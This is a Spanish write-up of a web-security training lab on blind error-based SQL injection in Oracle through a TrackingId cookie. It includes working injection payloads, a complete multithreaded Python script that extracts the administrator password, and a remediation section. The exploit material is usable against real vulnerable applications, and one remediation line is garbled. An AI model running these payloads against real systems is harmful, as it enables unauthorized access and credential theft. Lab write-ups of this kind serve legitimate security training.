Blind boolean-based SQLi con errores condicionales en Oracle (TrackingId)
Exfiltración blind de la password de administrator en Oracle forzando errores condicionales por división por cero (TO_CHAR(1/0)) a través de la cookie TrackingId.
1. Target Overview & Vulnerability Summary
El laboratorio expone una tienda web cuyo único vector inyectable es la cookie TrackingId, usada por la aplicación para ejecutar una consulta SQL de analytics. El resultado de la consulta no se refleja en la respuesta y el contenido del HTML no varía según se devuelvan filas o no: el único oráculo disponible es un mensaje de error personalizado que la aplicación muestra cuando la consulta lanza una excepción. El back-end es Oracle (confirmado al requerir FROM dual), lo que obliga a usar una variante blind por errores con triggers aritméticos en lugar de booleanos por contenido.
| Severidad | Endpoint vulnerable | Root cause |
|---|---|---|
| High | GET / — cookie TrackingId |
Concatenación sin parámetros del valor de la cookie en una query SQL; el parser de Oracle expone errores mediante un mensaje HTTP 500 custom |
2. Technical Breakdown & Exploitation Flow
2.1 Fingerprint del back-end
La sintaxis de concatenación de strings || y la obligatoriedad de FROM en subconsultas Oracle permiten confirmar el motor. Con '' la consulta original queda ... WHERE TrackingId = '8vM6xMidQm9dFVQL'||''||'' (sin error); con una sola comilla simple se rompe el cierre de literal y se dispara el 500.
GET / HTTP/1.1
Host: 0ab600a003b6a83bc3051eae001f006b.web-security-academy.net
Cookie: TrackingId=8vM6xMidQm9dFVQL'||(SELECT '' FROM dual)||'
El SELECT '' FROM dual es evaluado correctamente → sin error → Oracle. Cualquier subconsulta sin FROM dual produce un error de sintaxis.
2.2 Primitiva de error condicional
La función TO_CHAR(1/0) lanza ORA-01476: divisor is equal to zero cuando es evaluada. Envolviéndola en CASE WHEN, el error se produce solo si la condición es verdadera:
'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
Con 1=2 el branch ELSE '' se ejecuta y no hay error; invirtiendo la condición a 1=1, el error se dispara. Esta dicotomía error/no-error es el canal binario.
2.3 Verificación de existencia de tabla y usuario
Se comprueba que users existe forzando una fila con ROWNUM = 1:
payload = f"""{trackingid}'||(SELECT '' FROM users WHERE ROWNUM = 1)||'"""
Luego se confirma la existencia del usuario administrator generando el error solo si la fila coincide:
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
2.4 Extracción de la longitud de la password
La condición LENGTH(password) > N como guarda del error permite binarizar la longitud; en este lab es 20:
payload = f"""{trackingid}'||(SELECT CASE WHEN LENGTH(password)>20 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'"""
2.5 Extracción posicional con SUBSTR
Cada carácter se recupera con SUBSTR(password,pos,1) comparado contra cada candidato del charset [a-z0-9]; el error solo aparece con el carácter correcto:
payload = f"""{trackingid}'||(SELECT CASE WHEN SUBSTR(password,{position},1)='{character}' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'"""
El estado del canal se evalúa con r.status_code != 200 (un 500 = carácter correcto). Script completo con extracción en paralelo vía ThreadPoolExecutor:
#!/usr/bin/env python3
import requests
from string import ascii_lowercase, digits
from concurrent.futures import ThreadPoolExecutor, as_completed
import threading
def main():
url = 'https://0ab600a003b6a83bc3051eae001f006b.web-security-academy.net/'
trackingid = 'YOUR_TRACKINGID'
session_id = 'YOUR_SESSIONID'
chars = ascii_lowercase + digits
password_length = 20
max_workers = 15
print_lock = threading.Lock()
password = [''] * password_length
def check_character(pos, char):
payload = f"""{trackingid}'||(SELECT CASE WHEN SUBSTR(password,{pos},1)='{char}' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'"""
cookie = {
'session': session_id,
'TrackingId': payload
}
try:
r = requests.get(url, cookies=cookie, timeout=10)
if r.status_code != 200:
return pos, char
except requests.RequestException:
pass
return None
def find_all_chars():
print("[*] Buscando contraseña en paralelo...")
with ThreadPoolExecutor(max_workers=max_workers) as executor:
futures = [
executor.submit(check_character, pos, char)
for pos in range(1, password_length + 1)
for char in chars
]
completed = 0
for future in as_completed(futures):
result = future.result()
completed += 1
if result:
pos, char = result
password[pos - 1] = char
if completed % 50 == 0:
current = ''.join(c if c else '?' for c in password)
with print_lock:
print(f'[*] Progreso: {current} ({completed}/{len(futures)})', end='\r')
try:
find_all_chars()
final_password = ''.join(password)
if all(password):
print(f'\n[+] Contraseña encontrada: {final_password}')
else:
print(f'\n[-] Contraseña incompleta: {final_password}')
except KeyboardInterrupt:
print('\n[*] Ejecución interrumpida')
current = ''.join(c if c else '?' for c in password)
print(f'[*] Progreso actual: {current}')
if __name__ == '__main__':
main()
Con la password recuperada se resuelve el lab autenticándose como administrator.
3. Root Cause Analysis
La aplicación construye la query de analytics interpolando el valor crudo de la cookie:
SELECT trackingId FROM someTable WHERE trackingId = '8vM6xMidQm9dFVQL'
Al no usarse prepared statements, el cierre de comilla del literal es controlable por el atacante y permite inyectar subconsultas arbitrarias. El defecto de diseño explotado aquí es doble: (a) ausencia de parametrización en una entrada indirecta (cookie, no parámetro de formulario), y (b) el stack de la aplicación traduce cualquier excepción SQL a un mensaje HTTP 500 distintivo, convirtiendo el motor Oracle en un oráculo de respuesta binaria. En Oracle los errores por 1/0 se evalúan en la fase de expresión, por lo que funcionan como trigger de canal lateral sin necesitar datos reflejados.
4. Secure Remediation
La corrección es parametrizar la consulta para que el valor de la cookie nunca se concatene:
// Antes (vulnerable)
String sql = "SELECT trackingId FROM analytics WHERE trackingId = '" + cookie + "'";
// Después (seguro)
String sql = "SELECT trackingId FROM analytics WHERE trackingId = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, cookie);
Defensa en profundidad adicional para el stack Oracle:
SEC_DB_...no es aplicable: lo relevante es limitar el drenaje de datos: ejecutar la query de analytics bajo un usuario de BD con permisos mínimos (SELECTsolo sobre la tabla de tracking, sin acceso ausers) para que, aunque la inyección persista, no exista superficie paraSELECT ... FROM users.- Tratar las excepciones SQL como
500genérico sin exponer detalle, y no confiar en que eso basta (el error condicional funciona incluso con un 500 genérico, como aquí).